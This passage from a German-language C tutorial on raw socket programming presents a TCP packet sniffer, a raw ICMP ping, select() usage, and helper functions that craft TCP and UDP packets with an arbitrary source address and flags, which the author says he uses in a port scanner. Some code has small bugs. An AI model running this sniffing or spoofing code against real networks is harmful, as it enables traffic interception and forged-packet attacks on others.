beiden Beispiel Funktionen „sendtcp“ und „sendudp“ genauer
ansehen.
7.2 Beispielprogramm
Wir
werden nun einen Packetsniffer schreiben. Dieser wird TCP Pakete abfangen und
auf Wunsch deren gesetzte Falgs und/oder den Dateninhalt
ausgeben.
/* psniff.c a
TCP port sniffer
l0om
*/
#include
<stdio.h>
#include
<ctype.h>
#include
<sys/types.h>
#include
<unistd.h>
#include
<netinet/in.h>
#include
<netinet/ip.h>
#include
<netinet/tcp.h>
#include
<signal.h>
#define
BUFFSIZE
2048
struct
iphdr *ip;
struct
tcphdr *tcp;
void
help();
void
data(char *data, int nbytes);
void
flags();
static
void get_intr(int sig);
Wir
fuegen zunaechst wie immer die benoetigten Headerdateien ein. Diesmal benoetigen
wir die Strukturen fuer ein IP und ein TCP Paket, also ziehen wir „netinet/ip.h“
und „netinet/tcp.h“ zu rate. Es wird eine Konstante namens BUFFSIZE gesetzt, die
vom Benutzer bei bedarf geaendert werden kann.
Die
„ip“ und „tcp“ Strukturen deklarieren wir global. Es folgen die
Funktionsprototypen. „data“ gibt uns den Dateninhalt an und „flags“ die
gesetzten flags. „get_intr“ ist ein Signalhandler fuer das Interuptsignal mit
dem das Programm vom Benutzer beendet werden kann
(Crtl+C).
void get_intr(int
sig)
{
sleep(1);
printf("got interrupt signal-
exiting...\n");
exit(0);
}
Der
Signalhandler.
void data(char
data, int nbytes) /* shows u the
data */
{
char *ptr =
&data[0];
int n = 0;
printf("data:
%d\n",nbytes);
while(nbytes-- > 0)
{
n++;
if((n%25)==0)
printf("\n");
if(isgraph(*ptr++))
printf("%c",*ptr);
else
printf(".");
}
}
Mit
dieser Funktion lassen wir uns die Daten in einem Paket anzeigen. Das erste
Argument muss ein Zeiger auf den beginn des Dateninhaltes sein. „nbytes“
hingegen ist die laenge des Dateninhalts. Der Zeiger „ptr“ der auf den beginn
des Dateninhaltes verweist, wird in der while Schleife staednig inkrementiert.
Jedesmal wird die „isgraph“ Funktion aufgerufen. Bei TRUE ist das Zeichen, auf
das unser Zieger verweist darstellbar und dies soll er auch darstellen.
Andernfalls soll er ein „.“ Ausgeben. Nach 25 Zeichen soll ein Zeilenumbruch
erfolgen, um das Format leserlich zu halten.
void
flags()
{
printf(" ");
if(tcp->syn == 1)
printf("syn=1
");
if(tcp->ack ==
1)
printf("ack=1
");
if(tcp->rst ==
1)
printf("rst=1
");
if(tcp->fin ==
1)
printf("fin=1
");
if(tcp->urg ==
1)
printf("urg=1
");
if(tcp->psh ==
1)
printf("psh=1
");
printf("\n");
}
Da
die „tcp“ Struktur global ist, koennen wir hier Flag fuer Flag abgehen und uns
so ausgeben lassen, welche Flags gesetzt sind.
void help()
{
puts("\n------\npsniff\n------\n");
puts("l0om");
puts("psniff is a smal tcp
port(/protocol) sniffer.");
puts("example:");
puts("-h: prints out this help
menue");
puts("-P: next argument must be the
portnumber u want to sniff");
puts("-D: prints out all (ASCII)data form
all packets");
puts("-F: shows the set
flags");
puts("example:");
puts("./psniff -P 7 -D
-F");
puts("sniffs packets for/from port 7.
prints out all data and set flags");
puts(" u want to sniff 7 && 80?
");
puts("./psniff -P 7 -D -F &;
./psniff -P 80 -F -D &");
}
Hier
das Hilfemenue fuer den unbedarften Benutzer.
int main(int argc,
char **argv)
{
int sockfd;
int i;
int port = 80;
/* standard */
int r_flags,
r_data;
size_t bytes;
char
buffer[BUFFSIZE];
char *dats;
if( (getuid()|getgid()) != 0)
{
printf("error: u must be
root\n");
return
-1;
}
r_flags=r_data=0;
sockfd = socket(AF_INET, SOCK_RAW,
IPPROTO_TCP);
if(sockfd < 0)
{
fprintf(stderr, "error:
cannot creat socket\n");
return
-1;
}
if(argc == 1) {
printf("using standard
settings...\n\n");
r_flags =
1;
}
for(i = 0; i < argc; i++)
{
if(strncmp(argv[i], "-D", 2)
== 0)
r_data =
1;
if(strncmp(argv[i], "-F", 2)
== 0)
r_flags =
1;
if(strncmp(argv[i], "-P", 2)
== 0)
port =
atoi(argv[++i]);
if(strncmp(argv[i],
"-h", 2) == 0) {
help();
exit(0);
}
}
if(signal(SIGINT, get_intr) ==
SIG_ERR)
printf("cannot install
Interrupt catcher\n");
ip = (struct iphdr
*)buffer;
tcp = (struct tcphdr *) (buffer +
sizeof(struct iphdr));
dats = buffer+(sizeof(struct
iphdr)+sizeof(struct tcphdr));
while( (bytes = read(sockfd, buffer,
BUFFSIZE)) > 0) {
if(ntohs(tcp->dest)
== port || ntohs(tcp->source) == port) {
printf("tcp: dport=%d, sport=%d,
from=%s"
,ntohs(tcp->dest),ntohs(tcp->source),inet_ntoa(ip->saddr));
if(r_flags)
flags();
else
printf("\n");
if(r_data)
{
printf("\n");
data(dats, bytes-(sizeof(struct iphdr)+sizeof(struct
tcphdr)));
printf("\n\n");
}
}
memset(buffer, '\0', BUFFSIZE);
}
return (0);
}
Hier
die main Funktion. Wir erstellen uns einen TCP Raw-Socket. Mit den Variablen
„r_flags“ und „r_data“ koenne wir ueberpruefen ob der Benutzer die Flags oder
den Dateninhalt angezeigt haben moechte. Wir arbeiten mit hilfe der „i“
Variablen Argument fuer Argument durch und suchen nach gesetzten Optionen. Wir
installieren unseren Signalhandler fuer Interupt-Signale. Es ist nun Zeit unser
empfangs Datenpaket zu deklarieren und initailisieren. Wir setzen also in den
Datenpuffer unsere IP und TCP Strukturen.
Nun
starten wir eine Endlosschleife, die immer dann TRUE ist, wenn die „read“
Funktion ueber den Raw-Socket Daten erhaelt.
Dann
ueberpruefen wir, ob wir das Packet anzeigen sollen. Wenn es dem richtigem Dest
oder Sourceport entspricht, beginnen wir mit der Anzeige des Zielports, der
Absendeadresse sowie Absendeport. Dann schauen wir mit hilfe der „r_flags“
Variablen ob der Benutzer die gesetzten Flags angezeigt haben moechte. Wenn ja
tun wir dies mit hilfe der „flags“ Funktion. Das gleiche geschiet mit dem
Dateninhalt und der „r_data“ Variablen.
„dats“
ist ein Zeiger auf den Dateninhalt und wenn wir von den entpfangenem Daten
(„bytes“) den IP und TCP Header abziehen, erhalten wir die Summe des
Dateninhaltes in Bytes. Nach alle dem loeschen wir den Inhalt des Puffers via
„memset“ und die Schleife wird weiter fortgesetzt, es sei den der Prozess
erhaelt ein interupt-Signal.
6.3 sendto
Obwohl
wir diese Funktion bereits von UDP Anwendungen kennen, werden wir sie hir
nocheinmal durchgehen, da ohne sie nichts laeuft.
In
diesem Programm befassten wir uns also mit dem Datenempfang durch einen
Raw-Sock. Nun wollen wir uns mit dem versenden von selbst erstellten
Datenpaketen befassen. Dazu verwenden wir die „sendto“ Funktion. Diese Funktion
wird in der Regel fuer die Handhabung mit UDP gebraucht, aber sie eignet sich
ebenfalls gut fuer Raw-IP.
#include
<sys/socket.h>
ssize_t
sendto(int sockfd, const void *buffer, size_t nbytes, int flags, struct sockaddr
*to, socklen_t *addrlen);
Rueckgabewerte
Wenn
Ok gibt die Funktion die Anzahl der gesendeten Bytes aus.
Bei
einem Fehler erhalten wir -1.
Argumente
Das
erste Argument ist der Socket ueber den gesendet werden soll. „buffer“ ist der
Datenpuffer der versand wird und „nbytes“ dessen Groesse. Den Wert „flags“
lassen wir bei 0. Mit hilfe einer „sockaddr“ Struktur namens „to“ verweisen wir
auf das Sendeziel. „addrlen“ ist wie gehabt die groesse der Struktur in
Bytes.
Beispiel
if(sendto(rawsock,
puffer, sizeof(puffer), 0, (struct sockaddr *)&servaddr, sizeof(servaddr))
!= sizeof(puffer))
fprintf(stderr,
“cannot send to whole paket\n”);
Als
erstes Argument nehmen wir einen Raw-Socket mit dem “puffer” mit der Groesse
“sizeof(puffer)” versendet werden soll. Die Zielinformationen befinden sich in
„servaddr“. Wenn „sendto“ nicht alle Bytes von „puffer“ gesandt hat, bekommen
wir hier eine Fehlermeldung.
7.4
Beispielprogramm
Nun
nachdem wir wissen wie wir Datenpakete versenden, werden wir eine billige
Version des „ping“ Programms schreiben. Dieses Programm wird ein ICMP echo Paket
(code=0&&type=8) versenden und auf ein ICMP
echo-reply(code=0&&type=0) warten. Wir werden hier noch eine neue
Funktion im schnelldurchlauf erklaeren: „setsockopt“.
/*pong v 0.5 - l0om*/
#include
<stdio.h>
#include
<netinet/in.h>
#include
<netinet/ip.h>
#include
<netinet/ip_icmp.h>
unsigned short
in_cksum(unsigned short *ptr, int nbytes);
int read_answer(int
*sock);
Zwei
Funktionsprototypen benoetigen wir. Mit „in_cksum“ berechnen wir die Checksumme
des ICMP Pakets (was eine checksumme ist sollte klar sein...) und mit
„read_answer“ werden wir auf das echo-reply warten.
unsigned short
in_cksum(unsigned short *ptr, int nbytes)
{
register long
sum;
/* assumes long == 32 bits */
u_short
oddbyte;
register u_short answer;
/* assumes u_short == 16 bits */
/*
* Our algorithm is simple,
using a 32-bit accumulator (sum),
* we add sequential 16-bit
words to it, and at the end, fold back
* all the carry bits from
the top 16 bits into the lower 16 bits.
*/
sum = 0;
while (nbytes > 1)
{
sum +=
*ptr++;
nbytes -= 2;
}
/* mop up an odd byte, if necessary */
if (nbytes == 1) {
oddbyte = 0;
/* make sure top half is zero */
*((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only
*/
sum += oddbyte;
}
/*
* Add back carry outs from
top 16 bits to low 16 bits.
*/
sum = (sum >> 16) +
(sum & 0xffff);
/* add high-16 to low-16 */
sum += (sum >> 16);
/* add carry */
answer = ~sum;
/* ones-complement, then truncate to 16 bits */
return(answer);
}
Wenn
Checksummen berechnet werden, wird oftmals die oben aufgefuehrte Funktion
benutzt. Diese stammt nicht vom Author, wird aber immer wieder gerne von ihm
benutzt ;).
int read_answer(int
*sock)
{
char buff[1024];
struct iphdr *ip;
struct icmphdr
*icmp;
ip = (struct iphdr
*)buff;
icmp = (struct icmphdr *) (buff +
sizeof(struct iphdr));
if(read(*sock, buff, sizeof(buff)) >
0) {
if(icmp->type == 0
&& icmp->code == 0) return 1;
else return
-1;
}
return 0;
}
An
diese Funktion uebergeben wir unsern Raw-ICMP-Socket, auf dem wir spaeter auf
eine Antwort horchen werden. Zunaechst deklarieren wir einen Datenpuffer von
1024 Bytes und setzten die IP und danach die ICMP Struktur in diesen ein. Nun
rufen wir „read“ auf und horchen auf eine Antwort. Wenn wir eine ICMP Message
lesen, sehen wir uns zunaechst type und code an. Haben wir es mit einem echo
reply zu tun, gibt die Funktion den Reuckkgabewert 1 aus. Andernfalls wird -1
ausgegeben.
int main(int argc,
char **argv)
{
int sockfd, test =
1;
char *packet;
struct iphdr *ip;
struct icmphdr
*icmp;
struct sockaddr_in
server;
char *tests =
"hallo";
if(argc != 3) {
printf("usage: pong
[sourceip] [destip]\n");
return
-1;
}
ip = (struct iphdr *)
malloc(sizeof(struct iphdr));
icmp = (struct icmphdr *)
malloc(sizeof(struct icmphdr));
packet = (char *) malloc(sizeof(struct
iphdr) + sizeof(struct icmphdr)+sizeof(tests)+1);
memset(packet,
'\0',sizeof(packet));
ip = (struct iphdr
*)packet;
icmp = (struct icmphdr *) (packet +
sizeof(struct iphdr));
strcpy(packet+sizeof(struct
iphdr)+sizeof(struct icmphdr),tests);
ip->ihl =
5;
ip->version =
4;
ip->tos =
0;
ip->tot_len = sizeof(struct iphdr) +
sizeof(struct icmphdr)+sizeof(tests)+1;
ip->id =
htons(getuid());
ip->ttl =
255;
ip->protocol =
IPPROTO_ICMP;
ip->saddr =
inet_addr(argv[1]);
ip->daddr =
inet_addr(argv[2]);
sockfd = socket(AF_INET, SOCK_RAW,
IPPROTO_ICMP);
if(sockfd < 0)
{
printf("error cannto creat
socket\n");
return
-1;
}
if( (setsockopt(sockfd,
IPPROTO_IP,IP_HDRINCL,&test,sizeof(test))) < 0) {
printf("couldnt set
IP_HDRINCL\n");
return
-1;
}
icmp->type = 8;
icmp->code = 0;
icmp->un.echo.id =
0;
icmp->un.echo.sequence =
0;
icmp->checksum =
0;
icmp->checksum = in_cksum((unsigned
short *)icmp,sizeof(struct icmphdr)+sizeof(tests)+1);
ip->check = in_cksum((unsigned short
*)ip, sizeof(struct iphdr));
server.sin_family =
AF_INET;
server.sin_port =
htons(80); /* doesnt matter
*/
server.sin_addr.s_addr
= inet_addr(argv[2]);
if(
(sendto(sockfd,packet,ip->tot_len,0,(struct sockaddr
*)&server,
sizeof(struct sockaddr))) < ip->tot_len) {
printf("cannot send the
packet\n");
return
-1;
}
printf("done!\n");
if(read_answer(&sockfd) == 1)
printf("received answer- host is up\n");
else printf("didnt receive
answer\n");
return
0;
}
Wir
deklarieren wie gehabt zunaechst unser Datenpaket und die noetigen Header.
Ausserdem legen wir den Dateninhalt fest. Wir werden den String den „test“
enthaelt als Dateninhalt versenden. Das hat eigenltich keinen tieferen zweck,
sondern soll dem Leser den Umgang mit dem Datenbereicht naeher bringen. Nun
ueberpruefen wir ob das Programm richtig aufgerufen wurde. Das erste Argument
muss die Source IP-Adresse sein und das zweite Argument muss die Dest IP-Adresse
sein. Es ist dann Zeit den IP-Header auszufuellen. Dann erstellen wir uns
unseren ICMP-Raw-Socket und erkennnen nun eine neue
Funktion.
Mit
dieser Form des Aufrufs der Funktion, veranlassen wir den Kernel dazu die Finger
von dem von uns erstelltem Datenpaket zu lassen. Wenn wir diese Funktion nicht
benutzen wuerden, wuerde der Kernel wohl oder uebel ueber Felder wie IP-Source
bestimmen. Die Konstante „IP_HDRINCL“ sagt dem Kernel, dass er den IP-Header
unberuehrt lassen soll. Wir werden nicht naeher auf diese Funktion eingehen, da
wir diese Funktion nur in dieser Form gebrauchen. Fuer
Informationen:
l0om@home:~>
man
setsockopt
Es
ist nun Zeit die ICMP Daten auszufuellen und uns danach der altbekannten
„sockaddr“ Struktur zuzuwenden. Nun rufen wir „sendto“ in einer „if“ Struktur
auf und ueberpruefen gleich, ob das komplette Packet versendet wurde. Wenn ja,
erhalten wir ein „done!“ und die „read_answer“ Funktion wird aufgerufen. Als
Argument an diese Funktion geben wir die Referenz von unserem Raw-Socket. Bei
einem Rueckgabewert von 1 sollen wir natuerlich Nachricht darueber erhalten.
Andernfalls ein „didnt receive answer“ ueber stdout.
Ein
Test mit einem Remothost im localem Netzwerk:
root:~
# gcc -o pong pong.c
root:~
# ./pong 192.168.1.102 192.168.1.1
done!
received
answer- host is up
root:~
# ./pong 192.168.1.102 1.1.1.1 #
Nun ein ping an einen nicht existierenden host...
done!
^C
# nach langem warten mit Ctrl+C abgebrochen - interupt
gesandt!
Bei
einem Ping an einen aktiven Host im localem Netzwerk, erhalten wir eine
Benachrichtigung darueber, dass wir ein echo-reply empfingen. „read“
empfing also Daten. Bei
dem ping an einen nich existierenden Host, bleibt das Programm mitten drin
stehen. Wie kommt es dazu?
Die
„read“ Funktion die wir in der „read_answer“ Funktion aufrufen, ist so
ausgelegt, dass sie blockiert bis sie Daten zu lesen bekommt. Andernfalls gibt
„read“ keinen Rueckgabewert. Das bedeutet gleichzeitig, dass wir in der „if“
Schleife nicht weiter kommen, wenn keine Antwort eintrifft. Wir brauchen also
fuer den korrekten Ablauf des Programms eine nichtblockierende Alternative, die
uns nach einer gewissen Zeit sagt, dass sie nichts empfangen hat. Dazu sehen wir
uns eine sehr nuetzliche Funktion an.
7.5
select
Mit
dieser Funktion werden wir in die Lage versetzt, auf ein bestimmtes Ereignis zu
warten und entweder bei der Erfuellung oder bei der Zeitueberschreitung, wieder
aktiv zu werden.
Funktionsdefinition
#include
<sys/select.h>
#include
<sys/time.h> /*
optimal */
int
select(int maxfd, fd_set *readset, fd_set *writeset, fd_set *exceptset, const
struct timeval *timeout);
Rueckgabewert
Eine
positive Zahl, die die Anzahl bereiten Diskribtoren
darstellt.
Bei
einem Timeout wird 0 zurueckgegeben und bei einem Fehler
-1.
Argumente
Zunaechst
werden wir auf die letzten vier Argumente kommen. Wir werfen wir einen Blick auf
die "timval" Struktur. Diese enthaelt zwei
Strukturelemente:
long
tv_sec; /*seconds to wait */
long
tv_usec; /* u-seconds to wait */
Es
gibt drei Moeglichkeiten:
Die
Funktion kann fuer immer warten, bis einer der drei moeglichen Diskribtoren
bereit ist. Dazu geben wir die NULL Konstante an.
Das
warten einer bestimmten Zeitspanne. Die Funktion kehrt also nur dann zurueck,
wenn einer der drei moelgichen Diskribtoren bereit ist, oder wenn die Zeit
verstrichen ist. Die Zeit initialisieren wir mit Hilfe der
Strukturelemente.
Wir
koennen auch das warten total vermeiden. Das bedeutet im Klartext, die Funktion
ueberprueft nur einmal die Deskribtoren und kehrt dann zurueck. Dazu geben wir
beiden Variablen von der "timeval" Struktur den Wert 0.
Die
drei mittleren Argumente readset, writeset und exceptset geben die Diskribtoren
an, die vom Kernel auf Lese, Schreib und Ausnahmebedingungen getestet werden
sollen.
Wann
ist eine Ausnahmebedinung erfuellt?
Wenn:
-Die
Ankunft von Out-of-Band-Daten auf einen Socket zutrifft.
-Die
Praesenz einer Steuerstatusinformation, die von der Master- Seite eines
Terminals gelesen werden soll antrifft.
Wann
ist eine Lesebedingung erfuellt?
Wenn:
-Daten
bei dem Socket eintreffen.
-Es
wurde ein FIN empfangen. Das hat zur Folge, dass die Leseoperation nicht weiter
blockiert und so zurueck kehrt.
-Der
Socket ist ein horchender Socket (listen()) und hat eine vollstaendige
Verbindung via "accept" erhalten.
-Ein
Socketfeheler eintritt. Wenn beispielsweise eine Leseoperation nicht blockiert
und eine Fehler zurueck gibt.
Wann
ist eine Schreibbedingung erfuellt?
Wenn:
-Der
Socket hat Daten zum versand empfangen und ist verbunden. Das ist jedoch nur
wichtig wenn es sich um eine TCP Verbindung handelt. Ein UDP oder Raw-Socket
benoetigt keine Verbindung.
-Die
schreibende Haelfte der Verbindung wurde geschlossen.
-Eine
Schreiboperation schlug fehl und gibt einen negativen
Rueckgabewert.
Um
nun bestimmte Sockets (oder jeden erdenklichen Diskribtor) mit select auf
bestimmte Merkmale zu ueberpruefen, verwenden wir vier Makros. In Kurzfassung
wird dem Variablentyp "fd_set" mindestens ein Deskribtor
zugewiesen.
void
FD_ZERO(fd_set *fdset); /* loescht
alle Bits in fdset */
void
FD_SET(int fd, fd_set **fdset); /* schaltet Bit fuer "fd"
in "fdset" ein. /*
void
FD_CLR(int fd, fd_set **fdset); /* loescht Bit fuer "fd"
in
"fdset"
*/
int
FD_ISSET(int fd, fd_set **fdset); /* ist das Bit "fd" in
"fdset" an/bereit? */
"maxfd"
sagt der Funktion "select" wieviele Diskribtoren er zu ueberwachen hat. Am
besten ist es meiner Meinung nach, wenn man Diskribtor fuer Diskribtor addiert.
Niemals(!) den einen extra Diskribtor vergessen. Wir addieren immer noch eine 1
zu unserer Summe. Warum, ist in diesem Fall egal (es geht sich um den Index von
Arrys, die bekanntlich mit 0 beginnen...).
Beispiel:
Wir
wollen zwei sockets auf Lesebereitsschaft ueberpruefen.
/*
start */
fd_set rset;
...
FD_ZERO(&rset);
FD_SET(socket_one,
&rset);
FD_SET(socket_two,
&rset);
/*
nun werden beide Sockets via rset ueberprueft - fuer was, legen wir nun fest
*/
select(socket_one+socket_two+1,
&rset, NULL, NULL, NULL) /*sleep
forever */
...
if(FD_ISSET(socket_one,
&rset))) /*socket_one zum lesen bereit?*/
do_something_with_sock(socket_one);
...
if(FD_ISSET(socket_two,
&rset))) /*socket_two zum lesen bereit?*/
do_something_with_sock(socket_two);
...
/*
end */
Wir
deklarieren uns also eine Variable vom Typ "fd_set" namens "rset". Diese
Variable setzen wir komplett auf 0. Das geschieht mit dem "FD_ZERO" Makro. Nun
setzten wir bestimmte Bits auf TRUE um der Variablen "rset" mitzuteilen, welche
Diskribtoren wir ueberpruefen moechten. Dies erreichen wir mit Hilfe dem
"FD_SET" Makro. Nun rufen wir "select" auf. Bei "maxfd" addieren wir alle
benoetigten Diskribtoren und vergessen nicht das "+1" am Ende. Bei dem "readfd"
Argument setzen wir unsere Variable "rset" ein und ueberpruefen hiermit, ob
einer der beiden Sockets lesebereit ist.
Bei
dem "timeval" setzten wir NULL ein- wir warten ewig bis einer der beiden Sockets
lesebereit ist. Wir nehmen an, dass es irgendwann weitergeht und muessen dann
nur noch festellen, welcher der beiden Diskribtoren lesebereit ist. Das tun wir
mit dem "FD_ISSET" Makro.
7.6
Verbesserung zu „pong“
Nun
wissen wir wie wir unser vorheriges Problem, der blockierenden Leseoperation,
beheben koennen. Wie sieht das nun in der Praxis aus?
Wir
brauchen nur zwei weitere Header einzufuegen. Naemlich "sys/time.h" und
"sys/select.h" und koennen dann beginnen die Funktion "read_answer" zu
ueberarbeiten. Hier die bessere Loesung:
int read_answer(int
*sock)
{
char buff[1024];
struct iphdr *ip;
struct icmphdr
*icmp;
fd_set rset;
struct timeval tv;
FD_ZERO(&rset);
FD_SET(*sock,
&rset);
tv.tv_sec = 3; /* we wait 3 seconds for
an answer */
tv.tv_usec = 0;
ip = (struct iphdr
*)buff;
icmp = (struct icmphdr *) (buff +
sizeof(struct iphdr));
select(*sock+1, &rset, NULL, NULL,
&tv);
if(FD_ISSET(*sock, &rset))
{
if(read(*sock, buff, sizeof(buff)) >
0) {
if(icmp->type == 0
&& icmp->code == 0) return 1;
else return
-1;
}
}
return 0;
}
Mit
dieser leicht ueberarbeiteten Version des Programms, haben wir unser Problem
geloest. Die Leseoperation blockiert lediglich drei Sekunden (tv_sec) oder
empfaengt ICMP-Daten.
#########NOTE#########
Die
Funktion enthaelt noch einen Fehler, den ihr bei Lust und Laune selber beheben
koennt. pingt euch mal selbst an und seht was passiert...
######################
Die
„select“ Funktion wird auch in vielen Server-Applicantionen verwendet, um dass
Blockieren von Funktionen zu verhindern.
7.7
Funktionen zur einfachen/schnellen Raw-Socket
programmierung
Ich
werde hier nun selbstegeschriebene (und funktionierende) Raw-IP Funktionen
einfuegen. Mit hilfe dieser Funktionen koennt ihr- wenn ihr wollt- tcp und udp
raw Pakete versenden. Jeder Hannes ist herzlich dazu aufgefordert, diese
Funktionen zu verwenden. Ein Beispiel fuet Icmp ist ja bereits oben
aufgefuehrt...
Die
Funktionen geben 0 bei Fehler oder die gesendete Anzahl der Bytes zurueck wenn
alles gut ging.
----start
here----
/* prototyp tcp
send */
ssize_t tcpsend(u_int saddr, u_int daddr,
unsigned short sport, unsigned short dport, unsigned char flags, char *data,
unsigned short datalen);
/* prototyp udp
send */
ssize_t
udpsend(u_int saddr, u_int daddr, unsigned short sport, unsigned short dport,
char *data, unsigned short datalen);
/* prototyp
checksum */
unsigned short
in_cksum(unsigned short *ptr, int nbytes);
/* define the
pseudohdr */
struct pseudohdr
{
/* for creating the checksums */
unsigned long
saddr;
unsigned long
daddr;
char useless;
unsigned char
protocol;
unsigned short
length;
};
ssize_t
tcpsend(unsigned int saddr, unsigned int daddr, unsigned short
sport,
unsigned short dport, unsigned char flags, char
*data,
unsigned short datalen)
{
char *packet;
struct iphdr *ip;
struct tcphdr
*tcp;
struct pseudohdr *pseudo;
struct sockaddr_in
servaddr;
int retval, sockfd, on =
1;
packet = (char *)malloc((sizeof(struct
iphdr)+
sizeof(struct
tcphdr)+datalen)*sizeof(char));
servaddr.sin_family =
AF_INET;
servaddr.sin_port =
htons(dport);
servaddr.sin_addr.s_addr
= daddr;
sockfd = socket(AF_INET, SOCK_RAW,
IPPROTO_TCP);
if(sockfd < 0)
{
fprintf(stderr,"cannot creat
socket\n");
return(0);
}
if(setsockopt(sockfd, IPPROTO_IP,
IP_HDRINCL, &on, sizeof(on)) == -1) {
fprintf(stderr, "cannot
setservaddr\n");
return(0);
}
ip = (struct iphdr
*)packet;
tcp = (struct tcphdr *)(packet +
sizeof(struct iphdr));
pseudo = (struct pseudohdr *)(packet +
sizeof(struct iphdr) - sizeof(struct
pseudohdr));
memset(packet, 0x00,
sizeof(packet));
memcpy(packet+sizeof(struct
iphdr)+sizeof(struct tcphdr), data, datalen);
pseudo->saddr =
saddr;
pseudo->daddr =
daddr;
pseudo->protocol =
IPPROTO_TCP;
pseudo->length =
htons(sizeof(struct tcphdr) + datalen);
tcp->th_sport =
htons(sport);
tcp->th_dport =
htons(dport);
tcp->th_seq = rand() +
rand();
tcp->th_ack = rand() +
rand();
tcp->th_off = 5;
tcp->th_flags =
flags;
tcp->th_win =
htons(2048);
tcp->th_sum = in_cksum((unsigned short
*)pseudo, sizeof(struct tcphdr) +
sizeof(struct pseudohdr) + datalen);
memset(ip, 0x00, sizeof(struct
iphdr));
ip->version = 4;
ip->ihl = 5;
ip->tot_len = htons(sizeof(struct
iphdr) + sizeof(struct tcphdr) + datalen);
ip->id = rand();
ip->ttl =
255;
ip->protocol =
IPPROTO_TCP;
ip->saddr =
saddr;
ip->daddr =
daddr;
ip->check = in_cksum((unsigned short
*)ip, sizeof(struct iphdr));
if((retval = sendto(sockfd, packet,
ntohs(ip->tot_len), 0,
&servaddr,
sizeof(servaddr))) == -1)
return(0);
close(sockfd);
return(retval);
}
ssize_t
udpsend(u_int saddr, u_int daddr, unsigned short sport, unsigned short dport,
char *data, unsigned short datalen)
{
struct sockaddr_in
servaddr;
struct iphdr
*ip;
struct udphdr
*udp;
struct pseudohdr *pseudo;
char packet[sizeof(struct iphdr)+sizeof(struct
udphdr)+datalen];
int nbytes, sockfd, on = 1;
sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(sockfd < 0) {
fprintf(stderr,"cannt creat
socket\n");
return(0);
}
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1)
{
fprintf(stderr, "cannot
setsockopt\n");
return(0);
}
memset(packet, 0x00, sizeof(packet));
memcpy(packet+sizeof(struct iphdr)+sizeof(struct udphdr), data,
datalen);
servaddr.sin_addr.s_addr = daddr;
servaddr.sin_port =
htons(dport);
servaddr.sin_family
= AF_INET;
ip =
(struct iphdr *)packet;
udp = (struct
udphdr *)(packet + sizeof(struct iphdr));
pseudo = (struct pseudohdr *)(packet + sizeof(struct iphdr)
- sizeof(struct
pseudohdr));
udp->uh_sport =
htons(sport);
udp->uh_dport = htons(dport);
udp->uh_sum = 0;
udp->uh_ulen =
htons(sizeof(struct udphdr)+datalen);
pseudo->saddr
= saddr;
pseudo->daddr
= daddr;
pseudo->useless =
0;
pseudo->protocol =
IPPROTO_UDP;
pseudo->length =
udp->uh_ulen;
udp->uh_sum = in_cksum((u_short *)pseudo,sizeof(struct
udphdr)+sizeof(struct
pseudohdr)+datalen);
ip->ihl
= 5;
ip->version = 4;
ip->tos
= 0x10;
ip->tot_len =
sizeof(packet);
ip->frag_off = 0;
ip->ttl =
69;
ip->protocol = IPPROTO_UDP;
ip->check = 0;
ip->saddr =
saddr;
ip->daddr =
daddr;
nbytes = sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr
*)&servaddr,
sizeof(servaddr));
close(sockfd);
return(nbytes);
}
unsigned short
in_cksum(unsigned short *ptr, int nbytes)
{
register long sum;
u_short oddbyte;
register u_short
answer;
sum = 0;
while(nbytes >
1)
{
sum +=
*ptr++;
nbytes -=
2;
}
if(nbytes == 1)
{
oddbyte =
0;
*((u_char *) &oddbyte) =
*(u_char *)ptr;
sum +=
oddbyte;
}
sum = (sum >> 16) + (sum &
0xffff);
sum += (sum >>
16);
answer = ~sum;
return(answer);
}
----end
here----
Diese
Funktionen nutze ich ebenfalls im tcp/udp scanner “gull”. Wenn also noch
unverstaendnis zum bentuzten dieser Funktionen bestehen sollte, kann ich bei
gull.c schlau machen.
7.0
Schlusswort
Dies
war also nun der Einstieg in die Netzwerkprogrammierung. Es wurde nur das
wichtigste besprochen und wir haben auch einen fluechtigen Blick ueber UDP
Applikationen geworfen. Ich hoffe ihr habt was gelernt und fandet die
Programmbeispiele interessant und passend.
Ich
fuer meinen Teil, hab nun genug geschreiben und denke, dass dies fuer einen
Einstieg reichen sollte. Daher belasse ich es bei einem klugen
Spruch:
"Stein
auf Stein, mit Vorbedacht,
gibt zuletzt auch ein Gebaeude."
-Goethe
8.0
Greets
Greets
fly out to the whole Toxic Source Developers: blowfish and
lexdiamond.
Greets
to all Members of European Security Crew like:
Xnet,
ProXy, Takt, nixon, Havoc][, Synopsis, Cyniker ...
All
coders and security fans.
Allen
Menschen die auf der Suche nach dem Licht sind.
"ich
traf dich im kreise des lichts.
deine geschenke waren glaube, hoffnung
und liebe.
heute weiss ich, es gab keinen anfang,
aber auch kein ende."
-l0om